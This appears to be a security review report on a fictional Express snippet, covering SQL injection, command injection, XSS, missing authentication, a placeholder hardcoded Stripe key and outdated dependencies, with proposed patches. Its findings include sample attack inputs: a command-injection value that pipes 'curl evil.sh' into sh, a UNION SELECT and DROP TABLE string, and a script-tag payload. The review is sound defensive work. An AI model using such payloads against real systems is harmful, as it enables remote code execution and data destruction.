程式碼安全審查 Security Review

╔══════════════════════════════════════════════════════════╗
║           🔐 SECURITY REVIEW REPORT                      ║
╚══════════════════════════════════════════════════════════╝
Project: skill-trial (fictional snippet)   Scan Date: 2026-10-05
Scope: server.js, package.json (the whole project)
Languages: JavaScript (Node.js)   Frameworks: Express

┌──────────────┬────────────────┐
│ 🔴 CRITICAL  │ 3 findings     │
│ 🟠 HIGH      │ 2 findings     │
│ 🟡 MEDIUM    │ 1 finding      │
│ 🔵 LOW       │ 2 findings     │
│ ⚪ INFO      │ 2 findings     │
├──────────────┼────────────────┤
│ TOTAL        │ 10 findings    │
└──────────────┴────────────────┘
Dependency Audit: 2 vulnerable packages
Secrets Scan: 1 exposed credential

The snippet is a single line, so locations are given by route instead of line number.

Injection

🔴 CRITICAL: SQL injection (Confidence: HIGH)
📍 server.js, GET /user

db.query("SELECT * FROM users WHERE id = "+req.query.id, ...)

⚠️ req.query.id goes straight into the SQL string. An attacker can dump or modify any table, for example /user?id=0 UNION SELECT .... If ./db allows stacked queries, they can also run ; DROP TABLE users. Express can also parse id[]= into an array or object, which makes the input shape unpredictable.
📚 OWASP A03:2021

🔴 CRITICAL: OS command injection (RCE) (Confidence: HIGH)
📍 server.js, GET /run

require("child_process").exec("ping -c1 "+req.query.host);

⚠️ exec runs the string through a shell. /run?host=1.1.1.1;curl evil.sh|sh gives remote code execution as the server user. The response doesn't echo the output, but the attack still works blind, and it can use reverse shells or DNS exfiltration. The endpoint is also unauthenticated.
📚 OWASP A03:2021, CWE-78

🟠 HIGH: Reflected XSS (Confidence: HIGH)
📍 server.js, GET /page

res.send("<h1>Hello "+req.query.name+"</h1>");

⚠️ res.send with a string sets Content-Type: text/html, and name is not escaped. A link such as /page?name=<script>…</script> runs script in the victim's session on your origin.
📚 OWASP A03:2021, CWE-79

Authentication and access control

🟠 HIGH: Missing authentication/authorization, with excessive data exposure (Confidence: HIGH)
📍 server.js, GET /user (and /run)
⚠️ No authentication middleware exists anywhere. Anyone can request any user ID (IDOR) and receive the full SELECT * row. That likely includes password hashes, emails and other PII. Sequential IDs make enumeration easy. jsonwebtoken is in package.json but is never used.

Error handling

🟡 MEDIUM: No error handling on the DB call (Confidence: HIGH)
📍 server.js, /user callback (e,r)=>res.send(r)
⚠️ The error e is ignored. On failure r is undefined, so the request hangs or returns an empty response. If you "fix" this by sending e, you would leak SQL error text, which makes the injection easier to exploit. Log the error server-side and return a generic 500.

Hardening

• 🔵 LOW: No security headers. helmet() is missing, and there is no CSP, which would have limited the XSS. (Confidence: HIGH)
• 🔵 LOW: No rate limiting on any endpoint. /run can be used to flood other hosts. (Confidence: HIGH)

🔑 Secrets and exposure scan

🔴 CRITICAL: Hardcoded Stripe live key (Confidence: HIGH)
📍 server.js, top of file

const STRIPE_KEY="sk_live_FAKE_EXAMPLE_NOT_A_REAL_KEY_1234";

The sk_live_ prefix marks a live secret key. Anyone with repo access can issue charges and refunds and read customer data. The key is also unused in this snippet, so it is dead weight with real risk. This one is a fake example, but a real key in this position would need these steps:

1. Rotate the key in the Stripe dashboard.
2. Load it from process.env.STRIPE_KEY.
3. Keep .env out of git.
4. Check git history with git log --all -p | grep sk_live_, and purge it with git-filter-repo or BFG if it appears.

📦 Dependency audit

• 🟠 HIGH: [email protected] is below 4.17.21.
  • CVE-2020-8203: prototype pollution in zipObjectDeep, fixed in 4.17.19.
  • CVE-2021-23337: command injection via _.template.
  • CVE-2020-28500: ReDoS.
  • Fix: npm install [email protected]. The snippet doesn't call lodash, so exposure is conditional, but the version is still vulnerable.
• 🟠 HIGH: [email protected] is below 9.0.0. It has algorithm and key-confusion weaknesses (CVE-2022-23529, CVE-2022-23539, CVE-2022-23540, CVE-2022-23541). Fix: npm install jsonwebtoken@9. Always pass an explicit algorithms: [...] list to verify.
• ⚪ INFO: express and ./db are required in code, but express isn't listed in package.json, and there is no lockfile. The app won't install cleanly, and versions can't be audited or pinned.
• ⚪ INFO: lodash and jsonwebtoken are declared but unused. Remove them if they aren't needed, which shrinks the attack surface.

🛠️ Patch proposals

⚠️ Review each patch before applying. Nothing has been changed yet.

Patch 1/4: SQL injection in /user

// BEFORE
db.query("SELECT * FROM users WHERE id = "+req.query.id,(e,r)=>res.send(r));

// AFTER: parameterized query, selected columns only, and error handling
// (placeholder syntax assumes mysql-style `?`; use $1 for pg)
db.query("SELECT id, name FROM users WHERE id = ?",[req.query.id],(e,r)=>{
  if(e) return res.sendStatus(500); // don't leak DB errors
  res.json(r);
});

Patch 2/4: Command injection in /run

// BEFORE
require("child_process").exec("ping -c1 "+req.query.host);
res.end();

// AFTER: no shell (execFile), validated input, "--" ends option parsing
const net=require("net");
const host=String(req.query.host);
if(!net.isIP(host)) return res.sendStatus(400); // allow-list: IPs only
require("child_process").execFile("ping",["-c1","--",host],()=>res.end());

Also put this route behind authentication, or remove it.

Patch 3/4: XSS in /page

// BEFORE
res.send("<h1>Hello "+req.query.name+"</h1>");

// AFTER: HTML-escape output (or use a template engine with auto-escaping)
const esc=s=>String(s).replace(/[&<>"']/g,c=>({"&":"&amp;","<":"&lt;",">":"&gt;",'"':"&quot;","'":"&#39;"}[c]));
res.send("<h1>Hello "+esc(req.query.name)+"</h1>");

Also add app.use(require("helmet")()).

Patch 4/4: Hardcoded secret

// BEFORE
const STRIPE_KEY="sk_live_FAKE_EXAMPLE_NOT_A_REAL_KEY_1234";

// AFTER: read from the environment; rotate the old key
const STRIPE_KEY=process.env.STRIPE_KEY;

The missing authentication finding needs a design decision, so I haven't written a patch for it. Add auth middleware (for example, verifying a JWT with jsonwebtoken@9) and check that req.user.id matches the requested ID or the user is an admin.

⚡ Next steps

1. Rotate the key, then fix the SQLi and command injection first.
2. Add authentication, then fix the XSS and upgrade the dependencies.
3. Add helmet and rate limiting, and commit a package.json with all dependencies plus a lockfile.

💡 This is a static review of the snippet as given. I couldn't see ./db, so the SQL placeholder syntax and stacked-query behavior are assumptions.